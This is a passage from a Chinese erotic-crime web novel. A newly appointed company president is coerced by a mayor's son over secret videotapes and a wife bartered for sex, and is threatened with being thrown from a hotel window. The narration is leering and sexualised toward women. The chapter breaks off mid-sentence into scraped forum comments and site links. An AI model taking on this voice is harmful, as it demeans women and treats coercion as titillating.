我与小君,何芙,秋烟晚,以及严笛来到伯顿酒店三十八楼的水晶阁宴会厅时,这里已经高朋满座,虽然尽量保持低调,但前来祝贺我的人还是太多,发现秋烟晚的眉头皱了一下,我拉着罗毕低语了几句,罗毕赶紧把何芙,秋烟晚,严笛还有小君请进了一个包间,毕竟她们的身份特殊,而且都是女性。

“中翰,希望我们摒弃前嫌,一同赚钱。”西装革履的杜大卫走到我面前,向我递来了一杯威士忌。

“那当然,下一次的董事局会议上,我提议你做公司的副总经理兼投资部的经理,这个想法我早就有了。”我微笑地接过了威士忌。

“为什么?难道是因为玲玲吗?”杜大卫惊喜中又带有一点酸熘熘的口气。 “不会,我与玲玲的事并没有让我感到愧疚,毕竟你以前也做了对不起戴辛妮的事,我们也算扯平了,我看重你的是学识,何况你也是KT的老臣了,让你坐副经理位置也是理所当然的。”我淡淡地笑道。

“好,干杯。”杜大卫轻叹了一口气,与我碰杯后,他一饮而尽,我看得出,杜大卫的内心一定很矛盾,今天晚上他主动与我和谈,我估计是葛玲玲劝说了杜大卫。

我也乐见其成,在这个世界上,少一个敌人总比多一个敌人要好得多,我喝下威士忌的瞬间,果然发现不远处,美艳绝伦的葛玲玲正含情凝睇,也不知道是看我还是看杜大卫,更不知道明亮的眼眸里包含的是欣喜还是幽怨。唉,有葛玲玲这样女人做老婆,夫复何求?

“请问刚才那位穿米黄色衣服的女人是不是叫秋烟晚?”我与杜大卫刚想聊一些期货的问题,一个鹰鼻浓眉的男人突然走到我身边,很客气地问道。 我一愣,沈吟了一下,还是点了点头。那人得到我的肯定后,向我淡淡说了句“谢谢。”就走开了。

虽然这个鹰鼻浓眉的男人与我说话时用了“请”“谢谢”这些礼貌用语,但我却深深地感觉到这个人一点都不客气,不但不客气,眉宇间还有一丝傲气,我观察了一下,这人看起来约莫三十五六左右,手里也拿着一杯威士忌,谈吐间,我已经闻到他嘴里喷出的淡淡酒气。

“这人是谁?”我问身边的杜大卫,不知道为什么,我对这个男人突然产生了不舒服的感觉,毕竟今天的酒会是为我登上KT总裁之位而举办,我李中翰应该是今天酒会上的主角,但这个男人似乎不认识我,也不想认识我,他想认识的也许只是秋烟晚。

秋烟晚确实很迷人,她有官太太的雍容气质,一套米黄色的套装更是经过了秋烟晚的精心选配,只要她出现在大庭广众之下,那她绝对是最吸引男人的美女,只可惜秋烟晚的身份特殊,她只能在宴会大厅里惊鸿一瞥。

“你不认识这个人?”杜大卫吃惊地看着我。

“不认识。”我有些尴尬,毕竟我一个星期前还只是一个小白领,有身份的人我当然认识不多。

“他是万景全的公子,叫万国豪。很嚣张的一个人。”杜大卫向我低声说到。 “万景全?S市的市长?”我吃了一惊。

“恩。”杜大卫点点头。

“那这个万国豪一定认识何书记的爱人秋烟晚,既然认识秋烟晚,为什么还要来问我?”我莫名其妙。

“哈哈,中翰你这就不知道?他只是希望你主动与他攀交情而不是他主动,这些纨绔子弟多半这种德行。当然,何书记的女儿就很低调。”杜大卫大笑。 “是的,何书记的女儿又低调又漂亮。”我也忍不住再次赞美何芙,这个救过我两次的女人让我越来越佩服,看到我与何书记交易十五亿如此庞大的资金,她显得平淡镇静,气定神闲。

“你对何书记的女儿没有一点意思?”杜大卫诡异地笑了笑。

“没有,绝对没有。”我连忙摇头否认,但心里却暗骂自己虚伪。

“什么没有?”葛玲玲终于抛开簇拥她身边的崇拜者,来到了我和杜大卫的面前,她今天又换了一支发夹,随意挽起的秀发上,夹着一只红色的牡丹花形发夹,由此判断,今天葛大美人的心情一定极佳,我听说,女人心情好的时候,分泌的爱液是平常的三倍,看来,今天晚上杜胖子一定幸福死了,而我就只能嫉妒死了。

“我问中翰是不是对何书记的女儿有意思,但中翰就否认,哎,玲玲,你相信中翰的话吗?”杜大卫突然奸笑一声,我马上意识到有麻烦了。

“哦?李总裁能告诉我,这是真的吗?”葛玲玲看着我笑,但眼神已经如同一把削铁如泥的利剑,似乎随时都要把我砍成十块八块。

“当然不是真,这怎么可能呢?”我紧张地注视着葛玲玲,不知道为什么,我始终对这个母老虎怀有敬畏之心,也许她的凶悍已经在我心肝里烙上火印。 “男人嘛,风流很正常,就比如我家的大卫,他身边就很多骚狐狸……”葛玲玲笑眯眯地看了看了旁边的杜大卫。

“咳咳……金管局的领导来了,我过去打个招唿,你们聊,我失陪一下。” 杜大卫干咳了两声,找个借口转身离开了,他当然比我更惧怕葛玲玲。 “你是不是也想走开呀?”葛玲玲狠狠地瞪了我一眼。

“不走,我怎么舍得离开玲玲姐?恩,玲玲姐今天一定是酒会上最漂亮的女人,呃……这裙子是不是太薄了?”我的眼珠子在葛玲玲的翘臀上转了好几十圈,她整个臀部的曲线在一片薄纱中若隐若现,看得我全身发软,只有一个地方硬,硬得很厉害。

“这就叫薄了?哼,等会你见到楚狐狸后,你就知道我是多么保守。”葛玲玲又狠狠地瞪了我一眼,看来,女人有时候暴露点也是应该的。

突然,宴会厅里一阵骚动,我举目望去,真是说曹操,曹操就来,葛玲玲嘴上说的楚狐狸飘然而至,就如同她的姓氏一样,楚楚动人。不光楚楚动人,还艳光四射,她的出现,把全场的美女都比了下去,就是葛玲玲也黯然失色。 “哼,骚狐狸就是骚狐狸,穿成这个样子,真……真不要脸。”葛玲玲咬了咬红唇,她此时的眼里只有两个字:妒忌。

我的眼睛里也只有两个字:崇拜。

我疯狂地崇拜楚蕙,楚蕙如此打扮,让我可以肯定,今天酒会上最美的女人非楚蕙莫属,她真的太美了。幸运的是,楚蕙在众多狂热的目光中,找到了我的眼神,她向我嫣然一笑,迈着优雅的姿态向我走来,只是刚走两步,她被万国豪挡住去路,楚蕙见到这个鹰鼻浓眉的男人,居然盈笑攀谈起来,想必是认识的,只是楚蕙一边和万国豪攀谈,还一边向我眨眼,我趁葛玲玲不注意,悄悄地举起手中的酒杯,喝下了一小口酒,借着品酒的动作,我偷偷地向楚蕙做出了一个吻的口形,楚蕙一愣,脸上马上露出了古怪的表情,她向万国豪又说了几句,马上款步姗姗地向我走来,我发现万国豪脸上尽恼怒的表情。

“李总裁,BB去哪了?”楚蕙微笑着与葛玲玲点了点头,然后把注意力都集中在我身上,她完美到极点的身材在一身银灰色的吊带晚礼服的衬托下,达到了性感的颠峰,设计师的大胆设计也没有埋没了巧夺天工的匠心,虽然晚礼服裸露了一大片胸脯,但高耸的地方却被几片褶皱很巧妙地掩盖住了,让那些色色的男人干着急,我也很色,所以我也很着急,楚蕙美妙的裸体我已经深深记忆,但我还是希望她胸前的那几片褶皱能掉下来。

“罗总刚走开,呃……我更喜欢你楚蕙小姐喊我中翰,那样会更亲切些,你说呢?”我笑眯眯地回答了楚蕙的问话,这个时候不找点话题把蜜糖美人留下来,那我就是大傻瓜,光是她身上那股香气就让我难以自持。

“哦,亲切?一些人整天把我当成笨蛋,我还要对他亲切?”楚蕙也不理会葛玲玲充满敌意的目光,她向我淡淡一笑,顺手接过侍应递来的一杯鸡尾酒,绛紫色的嘴唇微微张开一条小缝,优雅地尝了一口鸡尾酒。

“谁敢把楚大老板当成笨蛋?”我笑问。

“你。”楚蕙懒洋洋地看着我。

“我?”我莫名其妙。

“哼,我看见秋烟晚和你一起来的,为什么下午在我店里你与秋烟晚假装不认识?你们莫非?”楚蕙向我露出了怀疑的眼神。

葛玲玲听楚蕙这么一说,也疑神疑神鬼地看着我,刚才她一直注视着楚蕙的晚礼服,楚蕙也知道葛玲玲在观察她的礼服,所以楚蕙很兴奋,很得意。如果这是一场女人的战争,那么很明显,楚蕙赢了。这也难怪,楚蕙接触的都是世界最顶级的时装讯息,她当然比其他女人更懂得时装给女人带来的震撼力与极度的虚荣。

“唉,我今天是第一次到何书记家吃饭,之前,我真不知道你那个顾客就是何书记的老婆,更不知道她叫秋烟晚。”我暗暗好笑,这两个超级大美女的斗争也许一百年后也不会停止。

“真的?”楚蕙半信半疑的样子。

“骗你是小狗。”我用力地点点头。

“那现在秋烟晚人呢?”楚蕙问。

“在包厢里。”我用手指了指一个紧闭的房门。

“玲玲,走,我们一起去跟秋烟晚打个招唿。”楚蕙玉手一伸,居然搂住了我的胳膊,胸前高高耸立的地方有意无意地碰了一下我的胳膊。

旁边的葛玲玲看得一清二楚,她的眼睛几欲喷出火来,但她又不能发飙,只有黑着脸说道:“我又不认识,就不去了。”说完,狠狠地看了我一眼,转身走开了。

“嘻嘻……”楚蕙得意地娇笑起来。

“你又利用我气葛玲玲了。”我叹了一口气。

“如果葛玲玲不喜欢你,我也气不了她,就不知道你有多喜欢葛玲玲了。” 楚蕙狡黠地望着我。

“我不怕跟你说,我确实喜欢玲玲姐。”我坏笑,心想,要得到楚蕙,也许可以利用她与葛玲玲之间攀比的虚荣心。这确实有点卑鄙。

“那你说,她漂亮还是我漂亮?”楚蕙的表情有些僵硬。

“还用说吗?今天酒会上你楚大小姐就是最耀眼的明珠。”我发出了由衷的赞叹。

“哼,算你有眼光。”楚蕙的脸上如同吹过了一阵春风,那似笑非笑的神态真是风情万种,楚楚动人。

“如果你的礼服再……”我叹了一口气,欲言而止。

“再什么?”楚蕙听我这么一说,马上轻轻地摇摆了她的细腰,电光火石之间,女人袅袅娜娜的美态马上扑面而来,她低头看了看自己裸露的大腿,微愠地连续问:“再什么?快说。”

我知道楚蕙现在很希望我继续说下去,如果我不说,她就会恨死你,可是,如果我说了,她也会恨死我。我就想楚蕙恨我,因为爱与恨的界限很模煳,光有爱的感情远远比不上搀杂了恨的感情来得了萦怀。也许楚蕙与葛玲玲一样,都是别人的妻子了,既然无法一辈子拥有,我就让这份萦怀更加浓烈,何况,楚蕙还没有投入我怀抱,我现在只希望她经常想起我,恨我,也是想我的一种形式。 “喂,说话呀。”楚蕙看见我呆呆地看着她,她又转怒为嗔。

楚蕙这一娇嗔,我马上就清醒了过来,看着楚蕙着急的样子,我暗暗好笑,估计在她眼里,礼服哪怕有一丝不满意的地方,她都觉得是失败,我忍住笑,眼睛盯着楚蕙深深的乳沟,叹了一口气:“就是胸前那地方再低一点就好了。” “你……你这个混蛋。”楚蕙的胸口突然急剧起伏,她显然已经生气,不过,她骂人的口气居然还是懒洋洋的。

“你看你看,我只是把今天所有男人的心里话说出来而已。”我假装一本正经,但心里却乐开了花。

“你想我拉低一点?”楚蕙冷冷地问。

“很想。”我像个老实人。

“你不怕我把你这些话告诉BB?”楚蕙的口气更冷了。

“怕,但还是想。”这句话我回答得更老实了。

“那你过来帮我拉下来呀。”楚蕙的眼里射出了冷芒。

“不急,等会找个没人的地方,我们……”我在坏笑,但话还没有说完,楚蕙的小腰一扭,向秋烟晚所在的包厢走去,只留下两个字:“下流。”

看着楚蕙婀娜的背影,我又喝了一大口的威士忌,我发现今天的威士忌特别香醇,特别让我回味。

“不用看了,你没有机会。”我还在品味嘴里的美酒,一个声音在我身后传了过来,我噎了一下,犹如一杯美酒里发现了几粒烟灰。我转过身,发现鹰鼻浓眉男人走了过来,他的眼睛里充满了嫉妒。

“我是没有机会,但你的机会也很渺茫。”我本想讥讽一下这个让我厌恶的万国豪,但我遵守混社会的规则,轻易不去树立一个敌人。

“不,我有很大的机会。”万国豪傲气十足。

“是吗?”我冷笑。

“不相信?不信我们可以打赌。”万国豪淡淡地说道。

“赌什么?”我忍住怒气,也淡淡地问。

“就赌今天晚上,我能不能得到楚蕙。”万国豪向我扬了扬他的浓眉。 “哦,你那么有自信?那赌注是什么?”我心里忍不住想大笑,心想眼前这个万国豪不是喝醉了,就是个疯子,虽然我对楚蕙了解不多,但她绝对不是一个三言两语就可以骗上床的女人,何况罗毕在场,万国豪就是情圣,也不可能一个晚上就能把楚蕙追上手。

“如果我赢了,我只要你手上那些朱九同偷拍的录像带。”万先生平静地向我笑了笑。

我很奇怪,也很震惊,按理说,知道朱九同所偷拍的录像带在我手中的人不多,算起来也就只有何书记,朱九同,杜大卫,楚蕙,郭泳娴,王怡这几个人。 但想得到录像带的人,完全可以将三个女人排除,那就只剩下何书记,朱九同,杜大卫。而杜大卫刚才已经与我和解,录像带对他也没有什么用处,因此,基本可以排除了杜大卫,那么就只剩下何书记与朱九同了。

是何书记么?有可能。是朱九同么?那更有可能。

“如果你输了呢?”尽管我内心已经翻起了滔天巨浪,但我凭借着威士忌的酒劲,面不改色地与万国豪周旋。

“KT百分之二十九的股份。”万先生依然傲气十足,他拿起酒杯,仰头喝下了一口酒。

这更让我大吃了一惊,因为KT的股份分布很广,最大股份的朱九同也仅占全部股份的百分之二十一,曹嘉勇与张思勤做为KT的大股东也只各占百分之二十。但这个万先生一口就喊出百分之二十九的股份,如果属实,他就一跃成为KT的最大股东,就凭这点,他就可以重新召开股东大会,提出罢免总裁的动议。 尽管这个动议在何书记的影响下不可能通过,但大股东的影响力就已经对KT产生巨大的影响,如果我这个新任总裁在公司管理,公司运作等方面出现差错,那这个万国豪就以股东利益受损之名,再次弹劾我这个总裁,没完没了,直到我下台。

“你看起来不像开玩笑。”我也喝下了一小口酒,虽然我很想喝一大口威士忌来压制自己内心的恐惧,但我知道,如果我喝一大口,那么眼前这个万先生就会洞悉我内心的不安。

“当然不开玩笑。”万先生淡淡地说道。

“真的要赌?”我问。

“你怕了当然可以放弃,我有时间取代你的位置。”

“我不是怕,我只是担心你喝多了,哎,人喝多了就会醉,人醉了就会说胡话。”我叹了一口气,表面很轻松的样子,但脑子里却拼命地想对策。

“你放心,我很清醒,我可以告诉你,你叫李中翰,金融管理毕业,曾经在东方科技公司任职三年,一直碌碌无为,后因为一次工作失误,与上司发生了矛盾,然后退出了东方科技公司,一年前,加入了KT……”万先生如数家珍一样,把我的履历查了一个清清楚楚,很重要的是我在东方科技公司的事情,我一直对在东方科技公司的人生挫折感到耿耿于怀,从来没有向任何人提起,但让我震惊的是万国豪居然全都知道,我估计,他是有备而来。

“怎么样?请问李总裁,我是不是清醒的人?”万国豪得意地冷笑。

“很清醒,但我无法证实你所说的KT股份真有其事?”我开始有些慌了,万国豪看出了这点,他笑意更浓。

“好,我就让你相信。”万国豪一边说着,一边向不远处一个身材笔挺的年轻人勾了勾手,年轻人马上从椅子上站起,大步走到我面前,向我递来一份银行担保的资产证明以及一份华夏权威律师事物所提供的资信公证,这些证件已经证明万国豪确实拥有百分之二十九的KT股份。

“哈哈哈哈……”我突然大笑,之所以大笑就是发泄我心中愤怒和恐惧的情绪,我太压抑了,当然,我的笑声引来了众人的注目。

万国豪冷冷笑地看着我,一言不发,等我笑声停止,他才挥了挥手,那个壮实的年轻人才退回原来坐的地方。

“知道我为什么笑么?”我问万国豪。

“也许你觉得这次赌博,你很有把握,所以你笑了。”万国豪向我摊了摊手。 “不错,这次赌博太划算了,录像带对我来说,一点价值都没有,我可以像扔垃圾一样把那些录像带扔了,如果我赌输了,最多就是输了一大堆垃圾而已,如果我赢了,那我将赢得价值好几亿的KT股份,这么划算的赌博,如果我不同意赌一把,那我就是一个大笨蛋,哈哈……”我又开始大笑,笑得眼泪快流出来了。

“你当然不是一个笨蛋。”万国豪连连点头。

“绝对不是。”我向侍应弹了一个响指,侍应很快向我端来了琥珀色的威士忌,很纯正的威士忌。

“那我们开始赌了。”万国豪鼻子不但如鹰鼻,就连目光也如鹰眼般犀利。 “必须要有一个公证人,要不然空口无凭,谁输了都可以耍赖,那就不好办了,你说呢?万先生。”我笑眯眯地说道。

“不错,不错,必须找一个我们都信得过的人来公证,如果你不介意,我就找罗毕先生来公正如何?”万国豪果然找到一个让我信得过的人,这个人就是KT公司的总经理,副总裁,股东之一的罗毕。

“呵呵,你今天晚上要把罗毕的老婆弄上床,还要让他来公证,恩,有趣,有趣,真有趣。”我忍不住又要大笑。

“是啊,我也觉得有趣,不过这么有趣的事情还是少点人知道为妙。”万国豪淡淡地说道。

“对,我们找一个安静的地方。”我为万国豪的细致周到而鼓掌。

伯顿酒店的总统套房有八间房子,每一间都比我以前住的房子大两倍,另外,还有三个客厅,两个餐厅,三个浴室,一个保健房,一个多功能娱乐房。据说,这间总统套房一天的租金是一万八千美金。

我坐在宽敞柔软的白色软皮沙发上,仰望着客厅墙壁上一副仿毕加索的油画而发呆,脚下是厚厚的波斯地毯,水晶茶几上是一套德国产的陶瓷茶具,好像这间房子的一切都与奢侈划上等号。

“唉,生活是美好的。”发呆了半天,我终于对这间总统套房发出了感叹。 “不错,只要有钱,生活一定美好。”万国豪坐在另外一张白色软皮沙发上,翘着二郎腿,他笑眯眯地点着头,显然他也同意我的观点,当然,他强调了美好的生活必须有钱。

“罗总,你很缺钱吗?”我冷冷地问罗毕。

“以前不缺,但自从炒期货失败后,我就知道钱是多么的重要。”罗毕也坐在白色软皮沙发上,他的坐姿很特别,身体像一块木板一样笔直。

“所以你甘愿让楚蕙跟别人上床?”我奇怪地问。

“没有办法,朱九同逼人太甚,为了自保,我只有求助万先生。”罗毕的目光呆滞,他的神情落寞到了极点。

“可是,我已经接替了朱九同的位置,他已经不能逼你了,我更加不会逼你,你欠公司的帐我已经想办法补上了,我答应你罗毕的事情全部都可以办到,你为什么还要为难楚蕙?难道楚蕙愿意跟这个其貌不扬的家伙上床?”

我冷冷地对罗毕说完,转而向一旁脸色铁青的万国豪表示歉意:“对不起,万先生,你确实其貌不扬,我没有侮辱你。”

“没关系。”万国豪淡淡地吐出了三个字,但我知道,万国豪很愤怒,尽管他很愤怒,但他还是强忍着,我不得不佩服他。

“谁会想到中翰老弟在短短几天内就能登上KT总裁的位置?就是神仙也想不到,中翰,你够义气,够朋友,我早就知道,但我不可能把所有希望放在你身上,说实话,我甚至不相信你能逃过朱九同的毒手,唉!事到如今,我也不怕跟你中翰老弟坦白,当初,我还与朱九同,杜大卫一起设陷阱让你跳,目的就是让你做替罪羊,等你做牢后,让你背负公司所有的债务,我与大卫才能安全脱身,想不到,你中翰老弟不但技艺惊人,还洪福齐天,竟然大赚了三十亿。很遗憾,你中翰老弟大赚之日,也是老狐狸朱九同变卦之时,他既想独吞三十亿,又想保你,希望你以后再为他朱九同赚更多的钱。朱九同既然要保你中翰老弟,就必定牺牲我和杜大卫。”

“那你从万先生那里得到什么。”我问道。

“万先生借给了我四亿。”罗毕沈声说道。

“万先生可不会白白借给你罗总吧?”我问。

“当然,条件除了委屈小蕙外,就是帮助他成为KT的总裁,我和杜大卫都把手中的KT股份卖给了万先生。同样是牺牲,朱九同要葛玲玲与小蕙陪他一年,万先生只要一次,我只有选择万先生。”罗毕无奈地叹了一口气。

“楚蕙答应了吗?”我问。

“我说服了小蕙。”罗毕犹豫了一下,才缓缓地说道。

“现在你把钱退回万先生,你的帐我会想好办法填上。”我忍着怒火,淡淡地说道。

“我罗毕虽然无耻,但讲信用,当初求万先生时,我是很诚恳的,现在出尔反尔,我是做不出来,除非万先生愿意放弃我与他的协议。”

“嘿嘿,讲信用,你连自己的老婆都可以出卖,你还有信用?”我冷笑一声。 罗毕长叹了一口气,继续说道:“骂得好,我罗毕确实该死,可这世界上没有后悔药吃,你中翰老弟做了总裁了以后,我与小蕙都哭了,你下午去小蕙内衣店的时候,我就在更衣室里刚哭完。”

“真可恶啊,小君买内衣肯定要试,你是不是……?”我大声地问。

“没有,没有,小蕙内衣店有两间更衣室,我看不到的。”罗毕急忙辩解。 “那至少听到了。”我瞪着罗毕问。

“啊……那……那是听到一些声音而已。”罗毕难为情的样子让我好笑,我只是故意问这些琐事,脑子里就想着怎么应对这个万国豪。唉,让心爱的蜜糖陪这个万国豪上床,那不如把我杀了。

“好了,这些婆婆妈妈的事情以后再说,现在说说我们之间的赌局。”万国豪不耐烦地看了罗毕一眼。

“万先生,这个赌局根本就不存在,虽然我很划算,但我一定输,我赢不了你。”我冷冷地说道。

“你果然不是笨蛋。”万国豪向我点点头。

“万国豪,我知道你想要什么,如果你愿意放弃与罗总的协议,我考虑与你合作。”我镇定自若,因为我知道那些录像带一定不简单,里面一定有重要的秘密,要不然这个万国豪也不会费心积虑地想拿到那些录像带,究竟录像带有什么秘密呢?我估计至少有三个人知道,这三个人分别是朱九同,何书记,还有万国豪。

“你没有资格和我谈条件,你可以不答应和我赌,也可以不把录像带交出来,但我告诉你,我万国豪已经是KT第一大股东,要不是股份到手的时间太迟,KT轮不到你做总裁。我只告诉你李中翰,和我斗,你会很惨很惨,只要我当上总裁,你违规操作的事情就会抖出来,你一定会进监狱,你也许不了解,监狱其实是一个很恐怖的地方,你只要进去,那些美好的生活就永远离开你,到时候,什么人都保不了你,何铁军也保不了你。”万国豪冷冷地说道。

“看来,我只有合作了。”我表面轻松地叹了一口气,但内心波澜骤起,万国豪直唿何书记的名字,这里面有什么含义?想到这,我不禁心惊肉跳,暗叫大事不妙,我这个笨蛋居然趟了权力斗争的浑水,这会,我抽身也许还来得及。 “识务者为俊杰。”万国豪露出狠毒的目光,比狼还要狠。

“我的妹妹与楚蕙结拜金兰姐妹,我只希望万先生高擡贵手,放过楚蕙。” 我很诚恳地向万国豪请求,其实我的口气已经很软,几乎是企求的口气。 “知道今天男人议论最多的两个女人是谁吗?”万国豪的眼里突然流露出了难以察觉的猥琐。

“哦,哪两个女人?”我很好奇。

“一个叫戴辛妮,一个就是楚蕙。”万国豪说到这两个女人的名字时,喉结上滚动了一下,显然他在吞口水。

“她们都很漂亮。”我有些得意,虽然今天晚上我还没有看见戴辛妮,但我相信我的戴辛妮一定不输给任何女人。

“可惜戴辛妮太骄傲了,我暂时没有机会,至于楚蕙,我就志在必得。”万国豪盯着我,他眼睛流露的不仅仅是猥琐,还有强烈的挑衅。他不但警告我别插手楚蕙,还打起了戴辛妮的主意,这让我心头怒火起。

“戴辛妮和楚蕙你永远都没有机会。”我终于忍不住反唇相讥。

“李中翰,你还没有意识到你现在很危险。”万国豪再次露出了狠毒的目光。 我心口一凛,知道自己已经无法处身事外了,现在的关键就是把这些事情告诉何书记,想到这,我四处看了看,干笑一声:“这个地方确实不错,改天再来享受享受,现在我告辞了,罗总,一起走吧。”

“中翰老弟,算了吧,反正小蕙已经答应了,你就和万先生合作吧。”罗毕带着乞求的目光看着我。

“呵呵,你不走,我走。”我没有回答罗毕的乞求,而是大笑两声,向大门走去。

可是我发现,我走不了,一直跟随万国豪的年轻人笔直地挡住了我的去路,我向左,他就挡左边,我向右,他又挡右边,我干脆伸双手去推开年轻人,结果我发现我的双手被紧紧地抓住,我刚想挣扎,一股雄厚的力量从我的腕骨直冲肩胛,刹那间,我发现我的双臂快要断了,剧烈的疼痛一下子就刺激了我的泪腺,喷涌的眼泪禁不住夺眶而出。

“哦,哦,哦……放……放手……你这个狗娘养的……哦……”我大声呻吟,就如同做爱到高潮一样。

“很痛吗?哈哈……”万国豪从沙发站起来,慢慢地走到我面前狂妄大笑,他的口水喷了我一脸。

“万国豪,你想干什么?你侵犯了我的人身权利,我……我要告你。”我忍着剧痛,大声警告万国豪。

“告我?你没机会了,你甚至没有机会看到明天的太阳。”万国豪向我狞笑。 “你想干什么?你想杀人?”我惊恐地大叫。

“说对了,不怕告诉你,我杀你就如同捏死一只蚂蚁,扔他下去。”最后一句话,万国豪是对年轻人说的。

年轻人双手一举,把我的双臂举过头顶,然后像拖麻袋一样把我拖到了窗口,任凭我双腿乱蹬也无济于事,我心头大骇,嘴上疯狂大叫:“放开我,你疯了吗,万国豪,你放开我。”

“万先生,别……别这样,让中翰冷静一下,他会同意的。”罗毕慌忙站起来,大声恳求。

“闭嘴,放他走他马上就报告何铁军,到时候是什么后果你知道吗?”万国豪向罗毕大声咆哮。

“那些录像带还在中翰手中呀。”罗毕在尽力说服这个万国豪。

“放心,这个白痴在S市就一个住处,搜查的人马上就找到,嘿嘿。”万国豪冷笑一声。

这时,手机的铃声响了起来,万国豪拿起手机马上接通:“是我,说……什么?找不到?仔细找了没有?妈的,那好,你们先回来。”啪的一声,万国豪关掉了手机,他一步步向我走来。

(32)第三十二章全都是骗人的

“那些录像带在什么地方?”万国豪伸出两根手指头轻轻挥了挥,我手臂的疼痛立减,被箍紧的双腕也霎时得到松开,我一边大口地唿吸,一边靠在窗户的墙壁地上思索着怎么办。

见我没有说话,万国豪转身走向茶几。

“砰。”水晶茶几上那套德国产的陶瓷茶具少了一只精美的茶杯,茶杯已经破碎,被万国豪摔成一片片碎瓷片,万国豪从地上的碎瓷片中选了一块最尖利的拿在手中,再次向我走来。

“你……你想干什么?”我恐惧地点注视着万国豪手中的那块碎瓷片。其实,碎瓷片不会伤害我,能伤害我的,是拿碎瓷片的人。

“我想再问你一遍,录像带在什么地方?”万国豪狰狞地注视着我。

“我想……我想想……”我当然知道录像带在什么地方,当初我担心录像带放在家里,会被小君戴辛妮看到,所以干脆来到我们楼下的超市,把这些录像带放在超市寄存柜里,寄存柜的钥匙就放在我电脑桌上的笔筒中。这些人去我家翻找,当然找不到了,真是一群蠢猪,我心中不由得大骂。

“恩,给你三分钟想,想不出来的话,你就从三十六楼跳下去。”万国豪冷冷说道。

“三十六楼很高,跳下去一定变成一滩肉泥。”我吃惊地睁大了双眼。 “不错,一滩血肉模煳的肉泥。”万国豪狞笑着点了点头。

“我可不想变成肉泥。”我摇了摇头。

“就是白痴也不想。”万国豪得意地看着我,在他眼里,我成了胆小害怕的小羔羊。

“我电话响了,我能接听电话吗?”突然间,在我身边不远处,一部手机发出了悦耳滴……滴……的铃响,还闪烁着淡淡的红光。这是我的手机,估计是刚才挣扎的时,不小心滑落到厚厚的地毯上。

“不行。”万国豪语气很坚定。

“唉,你很谨慎。”我叹了一口气,心里却异常紧张,因为我看见那是小君打来的电话。别人不知道,只要我不接电话,小君就会拼命地找我,直到找到我为止。

“还是想想录像带在什么地方吧,已经过了一分钟了,没有人来救你。”万国豪好像洞悉我的内心世界。

“我已经是你刀俎下之肉了,还能指望谁?唉,我要平静一下,你刚才把我吓坏了。”我又叹了一口气。

万国豪笑了,他看了看罗毕,又看了看我身旁的年轻人,然后笑了,我不知道他是开心的笑,还是讥笑,反正我已经不在乎,我只想尽量地拖延点时间。 “你是不是与何书记有矛盾?”我突然问,目的当然还是争取时间,因为地毯上的手机一直在响。

万国豪奇怪地看着我,想了想说道:“我并不想杀你,我与你之间其实并没有什么深仇大恨,但你现在是在找死。”

“找死?我不明白。”我意识到了什么,但还是问。

“有些事情你不知道,就叫做不知者无罪,如果你什么都知道那你就危险了,怎么样?你还想了解下去吗?”万国豪的眼里的凶光大盛,让我看得心里发寒。 “我看得出,那些录像带与何书记有关,如果我把录像带交给了你,就势必与何书记决裂,我知道不知道,了解不了解的后果都是危险,既然左也是危险,右也是危险,那不如知道好了,总比懵懵懂懂死掉好得多。”我沮丧地说道。 “行,我可以告诉你,而且只要你老老实实地交出录像带,站在我们这一边,我保你不死。”万国豪的脸色和缓了许多。

“好,好,那我就多谢万先生了。”我连忙点头,这时,我注意到地毯上的手机不响了。

“何铁军已经与我,与我家父势成水火,这里面涉及很广,现在已经到了决战的时候,他何铁军要搞倒我们。我们也一样可以搞倒他,就看谁下手更快,谁下手更狠了,你李中翰只是一个无名小卒,真遗憾,你卷了进来。”万国豪背负着双手,站在窗户前,凝望星光灿烂的夜空,他似乎也对即将发生的事情感到忧心。

“万市长是我最敬重的人,虽然我没有接触过他,但他和蔼样子,平易近人的态度,还有廉洁的口碑都给留下了深刻的印象,我就不明白这个何铁军为什么对你父亲有那么大的误会。”我颂扬了一番万景全,也算是临时拍马屁吧,其实,我这个小人物对万市长一点都不了解。

“这就是政治斗争,你不懂的。”万国豪冷冷一笑。

“是啊,是啊,我不懂。”我连连点头附和,但心里就大骂这个万国豪杀人如儿戏,不但嚣张暴虐,还淫贱无耻,居然想打我戴辛妮的主意。

“好了,三分钟到了,是天堂是地狱,你可以选择了。”万国豪冷漠地看着我,我敢肯定,如此冷漠的人,我就是把录像带给了他,他也不会轻易放过我的,我才不会那么傻。

“我……我怎么记不起来了……好像是在……在我的办公室……”我一副惊慌失措的样子。

“呵呵,你很顽固,很令人厌恶,我可以告诉你,你的办公室我们已经搜查过了,你现在是不见黄河心不死,小松,动手。”万国豪怨毒地大喝一声。 “是。”我还没有反应过来,身边那个年轻人马上出手如电,把我的脖子卡住,让我唿吸都困难,虽然我比这个叫小松的年轻人高出一个头,但在他的面前,我几乎有劲使不上,估计这个叫小松的年轻人是个厉害的人物。

“哦……唔……”我拼命挣扎,拼命唿吸,但我还是感觉热血迅速流向大脑。 “叮咚……叮咚……叮咚叮咚叮咚……”虽然我唿吸困难,但我的听觉很正常,从悠扬的门铃声到急促的门铃声,我听出只相隔不到五秒钟。

“等等,别说话。”万国豪向制住我的年轻示意了一下,然后悄悄地走到门口,低声问:“谁。”

我隐约地听到了嗲嗲的声音:“我找李中翰。”

万国豪愣了一下,又问:“你是谁?”

“我是李中翰的妹妹。”由于四周寂静,我又仔细倾听,这次,我听出,这绝对是小君的声音,我真是又担心又激动,激动的是,我看到了希望,担心的是,小君比我还弱小,她又怎么能救我?不但不能救我,还非常危险。

“啊,小君你快走啊,你别进来,快走……”我突然发疯似地大喊。

可惜已经迟了,万国豪在我大喊的瞬间,把大门打开,迅速地把小君拉进了房间,然后把门关上。突然间,我真正地感到了害怕,前面的害怕是下意识地害怕,但现在,我是身体的每一个细胞都感到恐惧,因为,娇滴滴的小君正傻傻地看着我。

“哥……”小君扑了过来,紧紧地抱着我。

“外面不是有人守着吗?这个小女孩怎么能找到这里了?怎么连个警示都没有?小松,你出去看看。”

“恩,也许是小女孩,外线的人觉得没什么,我出去看看,豪哥你在这里别出去。”年轻人步履轻灵地走到总统套房的门口,轻轻地打开了大门,我发现这路过看看。。。推一下。。。

太棒了


上一篇:乡村爱情H版

下一篇:网管经历


